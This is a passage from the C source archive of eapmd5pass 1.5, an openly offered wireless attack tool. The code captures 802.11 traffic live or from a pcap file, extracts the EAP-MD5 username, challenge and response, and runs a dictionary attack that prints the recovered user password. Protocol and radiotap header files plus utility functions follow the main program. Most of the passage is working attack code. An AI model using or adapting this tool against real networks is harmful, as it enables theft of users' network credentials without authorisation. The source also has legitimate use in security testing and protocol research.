dot11->u1.fc.to_ds == 0 && eaphdr->type == EAP_TYPE_MD5 && em->namefound == 1 && em->chalfound == 0) { if (extract_eapchallenge((pkt+poffset), plen, em) == 0) { if (__verbosity > 2) { printf("\tFound Challenge!\n"); } em->chalfound = 1; return; } } /* Try to extract the response */ if (dot11->u1.fc.from_ds == 0 && dot11->u1.fc.to_ds == 1 && eaphdr->type == EAP_TYPE_MD5 && em->namefound == 1 && em->chalfound == 1 && em->respfound == 0) { if (extract_eapresponse((pkt+poffset), plen, em) == 0) { if (__verbosity > 2) { printf("\tFound Response!\n"); } em->respfound = 1; return; } } /* Try to extract the success message */ if (dot11->u1.fc.from_ds == 1 && dot11->u1.fc.to_ds == 0 && em->namefound == 1 && em->chalfound == 1 && em->respfound == 1) { if (__verbosity > 2) { printf("\tFound Possible EAP Success!\n"); } if (extract_eapsuccess((pkt+poffset), plen, em) == 0) { em->succfound = 1; printf("Collected all data necessary to attack " "password for \"%s\", starting attack." "\n", em->username); eapmd5_attack(em); eapmd5_nexttarget(em); return; } else { if (__verbosity >2) { printf("\tCould not confirm EAP Success\n"); } } } return; } void eapmd5_attack(struct eapmd5pass_data *em) { FILE *fp; int passlen; unsigned long wordcount=0; uint8_t digest[16]; char buf[256]; struct timeval start, finish; int success=0; float elapsed=0; buf[0] = em->respeapid; if (*em->wordfile == '-') { fp = stdin; } else { fp = fopen(em->wordfile, "r"); } if (fp == NULL) { perror("fopen"); pcap_close(p); exit(-1); } gettimeofday(&start, 0); while(feof(fp) == 0) { if (fgets((buf+1), sizeof(buf)-1, fp) == NULL) { fclose(fp); break; } wordcount++; passlen = strlen(buf)-1; memcpy((buf+passlen), em->challenge, 16); MD5((uint8_t *)buf, passlen+16, digest); if (memcmp(digest, em->response, 16) == 0) { success=1; fclose(fp); break; } } gettimeofday(&finish, 0); if (success == 1) { em->recovered_pass++; buf[passlen] = 0; printf("User password is \"%s\".\n", buf+1); } else { printf("Unable to idenitfy user password, not in the dictionary" " file.\n"); } if (finish.tv_usec < start.tv_usec) { finish.tv_sec -= 1; finish.tv_usec += 1000000; } finish.tv_sec -= start.tv_sec; finish.tv_usec -= start.tv_usec; elapsed = finish.tv_sec + finish.tv_usec / 1000000.0; printf("%lu passwords in %.2f seconds: %.2f passwords/second.\n", wordcount, elapsed, wordcount/elapsed); return; } void eapmd5_nexttarget(struct eapmd5pass_data *em) { /* Reset tracking values for the next attack */ em->namefound = 0; em->chalfound = 0; em->respfound = 0; em->succfound = 0; return; } int extract_eapusername(uint8_t *eap, int len, struct eapmd5pass_data *em) { struct eap_hdr *eaphdr; int usernamelen; int eaplen; eaphdr = (struct eap_hdr *)eap; if (eaphdr->code != EAP_RESPONSE) { return 1; } if (eaphdr->type != EAP_TYPE_ID) { return 1; } eaplen = ntohs(eaphdr->length); if (eaplen > len) { return 1; } /* 5 bytes for EAP header information without identity information */ usernamelen = (eaplen - 5); if (usernamelen < 0) return 1; usernamelen = (eaplen > sizeof(em->username)) ? sizeof(em->username) : usernamelen; memcpy(em->username, (eap+5), usernamelen); em->username[usernamelen] = 0; return 0; } int extract_eapchallenge(uint8_t *eap, int len, struct eapmd5pass_data *em) { struct eap_hdr *eaphdr; int eaplen; int offset; eaphdr = (struct eap_hdr *)eap; if (eaphdr->code != EAP_REQUEST) { return 1; } if (eaphdr->type != EAP_TYPE_MD5) { return 1; } eaplen = ntohs(eaphdr->length); if (eaplen > len) { return 1; } /* 5th byte offset is the value-size parameter */ if ((eap[5]) != 16) { return 1; } len -= 6; offset = 6; if (len <= 0) { return 1; } memcpy(em->challenge, (eap+offset), 16); return 0; } int extract_eapresponse(uint8_t *eap, int len, struct eapmd5pass_data *em) { struct eap_hdr *eaphdr; int eaplen; int offset; eaphdr = (struct eap_hdr *)eap; if (eaphdr->code != EAP_RESPONSE) { return 1; } if (eaphdr->type != EAP_TYPE_MD5) { return 1; } eaplen = ntohs(eaphdr->length); if (eaplen > len) { return 1; } /* 5th byte offset is the value-size parameter */ if ((eap[5]) != 16) { return 1; } len -= 6; offset = 6; if (len <= 0) { return 1; } memcpy(em->response, (eap+offset), 16); em->respeapid = eaphdr->identifier; return 0; } int extract_eapsuccess(uint8_t *eap, int len, struct eapmd5pass_data *em) { struct eap_hdr *eaphdr; eaphdr = (struct eap_hdr *)eap; if (eaphdr->code == EAP_FAILURE) { /* Reset tracking values for next exchange */ eapmd5_nexttarget(em); } if (eaphdr->code == EAP_SUCCESS) { return 0; } return 1; } /* Called by signal SIGALRM */ void break_pcaploop() { if (__verbosity > 2) { printf("Calling pcap_breakloop.\n"); } pcap_breakloop(p); } int main(int argc, char *argv[]) { char errbuf[PCAP_ERRBUF_SIZE], iface[17], pcapfile[1024]; int opt=0, datalink=0, ret=0; extern struct eapmd5pass_data em; memset(&em, 0, sizeof(em)); memset(pcapfile, 0, sizeof(pcapfile)); printf("eapmd5pass - Dictionary attack against EAP-MD5\n"); while ((opt = getopt(argc, argv, "w:r:i:b:U:C:R:E:vVh?")) != -1) { switch(opt) { case 'i': /* Interface name */ strncpy(iface, optarg, sizeof(iface)-1); break; case 'w': /* word file */ strncpy(em.wordfile, optarg, sizeof(em.wordfile)-1); break; case 'r': /* Read from pcap file */ strncpy(pcapfile, optarg, sizeof(pcapfile)-1); break; case 'b': /* BSSID of target network */ if (str2mac(optarg, em.bssid) != 0) { fprintf(stderr, "Error parsing BSSID MAC " "address.\n"); usage(""); return -1; } em.bssidset = 1; break; case 'C': if (strlen(optarg) != 47) { usage("Incorrect challenge input length " "specified.\n"); exit(1); } if (str2hex(optarg, em.challenge, sizeof(em.challenge)) < 0) { usage("Malformed value specified as " "challenge.\n"); exit(1); } em.chalfound=1; break; case 'R': if (strlen(optarg) != 47) { usage("Incorrect response input length " "specified.\n"); exit(1); } if (str2hex(optarg, em.response, sizeof(em.response)) < 0) { usage("Malformed value specified as " "response.\n"); exit(1); } em.respfound=1; break; case 'U': strncpy(em.username, optarg, sizeof(em.username)-1); em.namefound=1; break; case 'E': em.respeapid=atoi(optarg); em.eapid=1; break; case 'v': __verbosity++; break; case 'V': printf("eapmd5pass - 1.5\n"); return(0); break; default: usage(""); return(-1); break; } } /* Register signal handlers */ signal(SIGINT, cleanexit); signal(SIGTERM, cleanexit); signal(SIGQUIT, cleanexit); /* Test for minimum number of arguments */ if (argc < 3) { usage(""); return -1; } if (strlen(em.wordfile) < 1) { usage("Must specify a dictionary file with -w."); return -1; } if (em.namefound && em.chalfound && em.respfound && em.eapid) { /* User specified input parameters manually, assume success * and start cracking. */ em.succfound=1; eapmd5_attack(&em); return 0; } if (strlen(pcapfile) > 0) { /* User has specified a libpcap file for reading */ p = pcap_open_offline(pcapfile, errbuf); } else { p = pcap_open_live(iface, SNAPLEN, PROMISC, TIMEOUT, errbuf); } if (p == NULL) { fprintf(stderr, "Unable to open pcap device\n"); perror("pcap_open"); return -1; } /* Set non-blocking */ if (!(strlen(pcapfile) > 0) && pcap_setnonblock(p, PCAP_DONOTBLOCK, errbuf) != 0) { fprintf(stderr, "Error placing pcap interface in non-blocking " "mode.\n"); perror("pcap_setnonblock"); pcap_close(p); return -1; } /* Examine header length to determine offset of the 802.11 header */ datalink = pcap_datalink(p); switch(datalink) { case DLT_IEEE802_11_RADIO: /* Variable length header */ offset = radiotap_offset(p, h); if (offset < sizeof(struct ieee80211_radiotap_header)) { fprintf(stderr, "Unable to determine offset from radiotap header (%d).\n", offset); usage(""); goto bailout; } break; case DLT_IEEE802_11: offset = DOT11_OFFSET_DOT11; break; case DLT_TZSP: offset = DOT11_OFFSET_TZSP; break; case DLT_PRISM_HEADER: offset = DOT11_OFFSET_PRISMAVS; break; default: fprintf(stderr, "Unrecognized datalink type %d.\n", datalink); usage(""); goto bailout; } /* Loop for each packet received */ signal(SIGALRM, break_pcaploop); /* We need a different routine for handling read from pcapfile vs. live interface, because pcap_dispatch returns 0 for EOF on pcapfile, or no packets retrieved due to blocking on a live interface */ if (strlen(pcapfile) > 0) { ret = pcap_dispatch(p, PCAP_LOOP_CNT, (pcap_handler)assess_packet, (u_char *)&em); if (ret != 0) { /* Error reading from packet capture file */ fprintf(stderr, "pcap_dispatch: %s\n", pcap_geterr(p)); goto bailout; } } else { /* live packet capture */ while(1) { ret = pcap_dispatch(p, PCAP_LOOP_CNT, (pcap_handler)assess_packet, (u_char *)&em); if (ret == 0) { /* No packets read, sleep and continue */ usleep(250000); continue; } else if (ret == -1) { fprintf(stderr, "pcap_loop: %s", pcap_geterr(p)); break; } else if (ret == -2) { /* returned -2, pcap_breakloop called */ break; } else { /* Packet retrieved successfully, continue */ continue; } } } if (__verbosity) { printf("Total packets observed: %ld\n", pcount); } bailout: pcap_close(p); if (em.recovered_pass > 0) { return 0; } else { return 1; } } eapmd5pass-1.5/eapmd5pass.h000066400000000000000000000035251314107134500156400ustar00rootroot00000000000000/* Copyright (c) 2007, Joshua Wright * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. See COPYING for more * details. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. */ #ifndef EAPMD5PASS_H #define EAPMD5PASS_H #define DOT11_OFFSET_DOT11 0 #define DOT11_OFFSET_TZSP 29 #define DOT11_OFFSET_PRISMAVS 144 #define PCAP_DONOTBLOCK 1 #define IEEE802_MACLEN 6 #define PCAP_LOOP_CNT -1 #define SNAPLEN 2312 #define PROMISC 1 #define TIMEOUT 500 struct eapmd5pass_data { uint8_t bssid[6]; char wordfile[1024]; unsigned int mcastid; uint8_t bssidset; int recovered_pass; /* Parser tracking values */ uint8_t namefound; uint8_t chalfound; uint8_t respfound; uint8_t succfound; uint8_t eapid; /* Extracted from EAP-MD5 exchange */ char username[64]; uint8_t challenge[16]; uint8_t response[16]; uint8_t respeapid; }; void cleanexit(); void usage(); int radiotap_offset(pcap_t *p, struct pcap_pkthdr *h); void assess_packet(char *user, struct pcap_pkthdr *h, u_int8_t *pkt); void eapmd5_nexttarget(struct eapmd5pass_data *em); int extract_eapusername(uint8_t *eap, int eaplen, struct eapmd5pass_data *em); int extract_eapchallenge(uint8_t *eap, int eaplen, struct eapmd5pass_data *em); int extract_eapresponse(uint8_t *eap, int eaplen, struct eapmd5pass_data *em); int extract_eapsuccess(uint8_t *eap, int eaplen, struct eapmd5pass_data *em); void break_pcaploop(); int main(int argc, char *argv[]); void eapmd5_attack(struct eapmd5pass_data *em); #endif eapmd5pass-1.5/ieee80211.h000066400000000000000000000061011314107134500150720ustar00rootroot00000000000000/* Copyright (c) 2007, Joshua Wright * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. See COPYING for more * details. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. */ #ifndef IEEE80211_H #define IEEE80211_H #define DOT11HDR_A1_LEN 10 #define DOT11HDR_A3_LEN 24 #define DOT11HDR_A4_LEN 30 #define DOT11HDR_MAC_LEN 6 #define DOT11HDR_MINLEN DOT11HDR_A1_LEN #define DOT11_FC_TYPE_MGMT 0 #define DOT11_FC_TYPE_CTRL 1 #define DOT11_FC_TYPE_DATA 2 #define DOT11_FC_SUBTYPE_ASSOCREQ 0 #define DOT11_FC_SUBTYPE_ASSOCRESP 1 #define DOT11_FC_SUBTYPE_REASSOCREQ 2 #define DOT11_FC_SUBTYPE_REASSOCRESP 3 #define DOT11_FC_SUBTYPE_PROBEREQ 4 #define DOT11_FC_SUBTYPE_PROBERESP 5 #define DOT11_FC_SUBTYPE_BEACON 8 #define DOT11_FC_SUBTYPE_ATIM 9 #define DOT11_FC_SUBTYPE_DISASSOC 10 #define DOT11_FC_SUBTYPE_AUTH 11 #define DOT11_FC_SUBTYPE_DEAUTH 12 #define DOT11_FC_SUBTYPE_PSPOLL 10 #define DOT11_FC_SUBTYPE_RTS 11 #define DOT11_FC_SUBTYPE_CTS 12 #define DOT11_FC_SUBTYPE_ACK 13 #define DOT11_FC_SUBTYPE_CFEND 14 #define DOT11_FC_SUBTYPE_CFENDACK 15 #define DOT11_FC_SUBTYPE_DATA 0 #define DOT11_FC_SUBTYPE_DATACFACK 1 #define DOT11_FC_SUBTYPE_DATACFPOLL 2 #define DOT11_FC_SUBTYPE_DATACFACKPOLL 3 #define DOT11_FC_SUBTYPE_DATANULL 4 #define DOT11_FC_SUBTYPE_CFACK 5 #define DOT11_FC_SUBTYPE_CFACKPOLL 6 #define DOT11_FC_SUBTYPE_CFACKPOLLNODATA 7 #define DOT11_FC_SUBTYPE_QOSDATA 8 /* 9 - 11 reserved as of 11/7/2005 - JWRIGHT */ #define DOT11_FC_SUBTYPE_QOSNULL 12 struct dot11hdr { union { struct { uint8_t version:2; uint8_t type:2; uint8_t subtype:4; uint8_t to_ds:1; uint8_t from_ds:1; uint8_t more_frag:1; uint8_t retry:1; uint8_t pwrmgmt:1; uint8_t more_data:1; uint8_t protected:1; uint8_t order:1; } __attribute__ ((packed)) fc; uint16_t fchdr; } u1; uint16_t duration; uint8_t addr1[6]; uint8_t addr2[6]; uint8_t addr3[6]; union { struct { uint16_t fragment:4; uint16_t sequence:12; } __attribute__ ((packed)) seq; uint16_t seqhdr; } u2; } __attribute__ ((packed)); #define dot11hdra3 dot11hdr #define ieee80211 dot11hdr struct ieee80211_qos { uint8_t priority:3; uint8_t reserved3:1; uint8_t eosp:1; uint8_t ackpol:2; uint8_t reserved1:1; uint8_t reserved2; } __attribute__ ((packed)); #define DOT11HDR_QOS_LEN 2 struct ieee8022 { uint8_t dsap; uint8_t ssap; uint8_t control; uint8_t oui[3]; uint16_t type; } __attribute__ ((packed)); #define DOT2HDR_LEN sizeof(struct ieee8022) #define IEEE8022_SNAP 0xaa #define IEEE8022_TYPE_IP 0x0800 #define IEEE8022_TYPE_DOT1X 0x888e #define IEEE8022_TYPE_ARP 0x0806 #endif eapmd5pass-1.5/ieee8021x.h000066400000000000000000000015521314107134500152060ustar00rootroot00000000000000/* Copyright (c) 2007, Joshua Wright * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. See COPYING for more * details. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. */ #ifndef IEEE8021X_H #define IEEE8021X_H /* The 802.1X header indicates a version, type and length */ struct ieee8021x { uint8_t version; uint8_t type; uint16_t len; } __attribute__ ((packed)); #define DOT1XHDR_LEN sizeof(struct ieee8021x) #define DOT1X_VERSION1 1 #define DOT1X_VERSION2 2 #define DOT1X_TYPE_EAP 0 #endif eapmd5pass-1.5/ietfproto.h000066400000000000000000000022731314107134500156100ustar00rootroot00000000000000/* Copyright (c) 2007, Joshua Wright * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. See COPYING for more * details. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. */ #ifndef IETFPROTO_H #define IETFPROTO_H /* EAP message constants */ #define EAP_REQUEST 1 #define EAP_RESPONSE 2 #define EAP_SUCCESS 3 #define EAP_FAILURE 4 /* EAP types, more at http://www.iana.org/assignments/eap-numbers */ #define EAP_TYPE_EAP 0 #define EAP_TYPE_ID 1 #define EAP_TYPE_MD5 4 struct eap_hdr { uint8_t code; /* 1=request, 2=response, 3=success, 4=failure? */ uint8_t identifier; uint16_t length; /* Length of the entire EAP message */ /* The following fields may not be present in all EAP frames */ uint8_t type; uint8_t flags; uint32_t totallen; } __attribute__ ((packed)); #define EAPHDR_MIN_LEN 4 #endif eapmd5pass-1.5/radiotap.h000066400000000000000000000174721314107134500154070ustar00rootroot00000000000000/* $FreeBSD: src/sys/net80211/ieee80211_radiotap.h,v 1.5 2005/01/22 20:12:05 sam Exp $ */ /* $NetBSD: ieee80211_radiotap.h,v 1.11 2005/06/22 06:16:02 dyoung Exp $ */ /*- * Copyright (c) 2003, 2004 David Young. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of David Young may not be used to endorse or promote * products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY DAVID YOUNG ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL DAVID * YOUNG BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY * OF SUCH DAMAGE. */ #ifndef RADIOTAP_H #define RADIOTAP_H /* Kluge the radiotap linktype for now if we don't have it */ #ifndef LNX_ARPHRD_IEEE80211_RADIOTAP #define LNX_ARPHRD_IEEE80211_RADIOTAP 803 #endif /* Radiotap header version (from official NetBSD feed) */ #define IEEE80211RADIOTAP_VERSION "1.5" /* Base version of the radiotap packet header data */ #define PKTHDR_RADIOTAP_VERSION 0 /* The radio capture header precedes the 802.11 header. */ struct ieee80211_radiotap_header { u_int8_t it_version; /* Version 0. Only increases * for drastic changes, * introduction of compatible * new fields does not count. */ u_int8_t it_pad; u_int16_t it_len; /* length of the whole * header in bytes, including * int_version, it_pad, * it_len, and data fields. */ u_int32_t it_present; /* A bitmap telling which * fields are present. Set bit 31 * (0x80000000) to extend the * bitmap by another 32 bits. * Additional extensions are made * by setting bit 31. */ }; /* Name Data type Units * ---- --------- ----- * * IEEE80211_RADIOTAP_TSFT u_int64_t microseconds * * Value in microseconds of the MAC's 64-bit 802.11 Time * Synchronization Function timer when the first bit of the * MPDU arrived at the MAC. For received frames, only. * * IEEE80211_RADIOTAP_CHANNEL 2 x u_int16_t MHz, bitmap * * Tx/Rx frequency in MHz, followed by flags (see below). * * IEEE80211_RADIOTAP_FHSS u_int16_t see below * * For frequency-hopping radios, the hop set (first byte) * and pattern (second byte). * * IEEE80211_RADIOTAP_RATE u_int8_t 500kb/s * * Tx/Rx data rate * * IEEE80211_RADIOTAP_DBM_ANTSIGNAL int8_t decibels from * one milliwatt (dBm) * * RF signal power at the antenna, decibel difference from * one milliwatt. * * IEEE80211_RADIOTAP_DBM_ANTNOISE int8_t decibels from * one milliwatt (dBm) * * RF noise power at the antenna, decibel difference from one * milliwatt. * * IEEE80211_RADIOTAP_DB_ANTSIGNAL u_int8_t decibel (dB) * * RF signal power at the antenna, decibel difference from an * arbitrary, fixed reference. * * IEEE80211_RADIOTAP_DB_ANTNOISE u_int8_t decibel (dB) * * RF noise power at the antenna, decibel difference from an * arbitrary, fixed reference point. * * IEEE80211_RADIOTAP_LOCK_QUALITY u_int16_t unitless * * Quality of Barker code lock. Unitless. Monotonically * nondecreasing with "better" lock strength. Called "Signal * Quality" in datasheets. (Is there a standard way to measure * this?) * * IEEE80211_RADIOTAP_TX_ATTENUATION u_int16_t unitless * * Transmit power expressed as unitless distance from max * power set at factory calibration. 0 is max power. * Monotonically nondecreasing with lower power levels. * * IEEE80211_RADIOTAP_DB_TX_ATTENUATION u_int16_t decibels (dB) * * Transmit power expressed as decibel distance from max power * set at factory calibration. 0 is max power. Monotonically * nondecreasing with lower power levels. * * IEEE80211_RADIOTAP_DBM_TX_POWER int8_t decibels from * one milliwatt (dBm) * * Transmit power expressed as dBm (decibels from a 1 milliwatt * reference). This is the absolute power level measured at * the antenna port. * * IEEE80211_RADIOTAP_FLAGS u_int8_t bitmap * * Properties of transmitted and received frames. See flags * defined below. * * IEEE80211_RADIOTAP_ANTENNA u_int8_t antenna index * * Unitless indication of the Rx/Tx antenna for this packet. * The first antenna is antenna 0. * * IEEE80211_RADIOTAP_FCS u_int32_t data * * FCS from frame in network byte order. */ enum ieee80211_radiotap_type { IEEE80211_RADIOTAP_TSFT = 0, IEEE80211_RADIOTAP_FLAGS = 1, IEEE80211_RADIOTAP_RATE = 2, IEEE80211_RADIOTAP_CHANNEL = 3, IEEE80211_RADIOTAP_FHSS = 4, IEEE80211_RADIOTAP_DBM_ANTSIGNAL = 5, IEEE80211_RADIOTAP_DBM_ANTNOISE = 6, IEEE80211_RADIOTAP_LOCK_QUALITY = 7, IEEE80211_RADIOTAP_TX_ATTENUATION = 8, IEEE80211_RADIOTAP_DB_TX_ATTENUATION = 9, IEEE80211_RADIOTAP_DBM_TX_POWER = 10, IEEE80211_RADIOTAP_ANTENNA = 11, IEEE80211_RADIOTAP_DB_ANTSIGNAL = 12, IEEE80211_RADIOTAP_DB_ANTNOISE = 13, IEEE80211_RADIOTAP_FCS = 14, IEEE80211_RADIOTAP_EXT = 31, }; /* Channel flags. */ #define IEEE80211_CHAN_TURBO 0x0010 /* Turbo channel */ #define IEEE80211_CHAN_CCK 0x0020 /* CCK channel */ #define IEEE80211_CHAN_OFDM 0x0040 /* OFDM channel */ #define IEEE80211_CHAN_2GHZ 0x0080 /* 2 GHz spectrum channel. */ #define IEEE80211_CHAN_5GHZ 0x0100 /* 5 GHz spectrum channel */ #define IEEE80211_CHAN_PASSIVE 0x0200 /* Only passive scan allowed */ #define IEEE80211_CHAN_DYN 0x0400 /* Dynamic CCK-OFDM channel */ #define IEEE80211_CHAN_GFSK 0x0800 /* GFSK channel (FHSS PHY) */ /* For IEEE80211_RADIOTAP_FLAGS */ #define IEEE80211_RADIOTAP_F_CFP 0x01 /* sent/received * during CFP */ #define IEEE80211_RADIOTAP_F_SHORTPRE 0x02 /* sent/received * with short * preamble */ #define IEEE80211_RADIOTAP_F_WEP 0x04 /* sent/received * with WEP encryption */ #define IEEE80211_RADIOTAP_F_FRAG 0x08 /* sent/received * with fragmentation */ #define IEEE80211_RADIOTAP_F_FCS 0x10 /* frame includes FCS */ #define IEEE80211_RADIOTAP_F_DATAPAD 0x20 /* frame has padding between * 802.11 header and payload * (to 32-bit boundary) */ /* Ugly macro to convert literal channel numbers into their mhz equivalents * There are certianly some conditions that will break this (like feeding it '30') * but they shouldn't arise since nothing talks on channel 30. */ #define ieee80211chan2mhz(x) \ (((x) <= 14) ? \ (((x) == 14) ? 2484 : ((x) * 5) + 2407) : \ ((x) + 1000) * 5) #endif /* RADIOTAP_H */ eapmd5pass-1.5/utils.c000066400000000000000000000066321314107134500147330ustar00rootroot00000000000000/* Copyright (c) 2007, Joshua Wright * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. See COPYING for more * details. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. */ #include #include #include #include #include #include #include #include /* for ntohs() */ #include #include #include "utils.h" void lamont_hdump(unsigned char *bp, unsigned int length); char *printmac(unsigned char *mac); /* A better version of hdump, from Lamont Granquist. Modified slightly by Fyodor (fyodor@DHP.com) */ void lamont_hdump(unsigned char *bp, unsigned int length) { /* stolen from tcpdump, then kludged extensively */ static const char asciify[] = "................................ !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~................................................................................................................................."; const unsigned short *sp; const unsigned char *ap; unsigned int i, j; int nshorts, nshorts2; int padding; printf("\n\t"); padding = 0; sp = (unsigned short *)bp; ap = (unsigned char *)bp; nshorts = (unsigned int)length / sizeof(unsigned short); nshorts2 = (unsigned int)length / sizeof(unsigned short); i = 0; j = 0; while (1) { while (--nshorts >= 0) { printf(" %04x", ntohs(*sp)); sp++; if ((++i % 8) == 0) break; } if (nshorts < 0) { if ((length & 1) && (((i - 1) % 8) != 0)) { printf(" %02x ", *(unsigned char *)sp); padding++; } nshorts = (8 - (nshorts2 - nshorts)); while (--nshorts >= 0) { printf(" "); } if (!padding) printf(" "); } printf(" "); while (--nshorts2 >= 0) { printf("%c%c", asciify[*ap], asciify[*(ap + 1)]); ap += 2; if ((++j % 8) == 0) { printf("\n\t"); break; } } if (nshorts2 < 0) { if ((length & 1) && (((j - 1) % 8) != 0)) { printf("%c", asciify[*ap]); } break; } } if ((length & 1) && (((i - 1) % 8) == 0)) { printf(" %02x", *(unsigned char *)sp); printf(" %c", asciify[*ap]); } printf("\n"); } int str2mac(char *string, uint8_t *mac) { char *ptr, *next; unsigned long val; int i; to_upper(string); ptr = next = string; for (i = 0; i < 6; i++) { if ((val = strtoul(next, &ptr, 16)) > 255) { return (-1); } mac[i] = (uint8_t) val; if ((next == ptr) && (i != 6 - 1)) { return (-1); } next = ptr + 1; } return (0); } void to_upper (char *s) { char *p; char offset; offset = 'A' - 'a'; for (p = s; *p != '\0'; p++) { if (islower(*p)) { *p += offset; } } } int str2hex (char *string, uint8_t *hexstr, int len) { char *ptr, *next; unsigned long val; int i; ptr = next = string; for(i=0;i < len;i++) { if((val = strtoul(next, &ptr, 16)) > 255) { errno = EINVAL; return(-1); } hexstr[i] = (unsigned int)val; if((next == ptr) && (i != len - 1)) { errno = EINVAL; return(-1); } next = ptr + 1; } return(1); } eapmd5pass-1.5/utils.h000066400000000000000000000013351314107134500147330ustar00rootroot00000000000000/* Copyright (c) 2007, Joshua Wright * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. See COPYING for more * details. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. */ /* Prototypes */ void lamont_hdump(unsigned char *bp, unsigned int length); int str2mac(char *string, uint8_t *mac); void to_upper (char *s); int str2hex (char *string, uint8_t *hexstr, int len);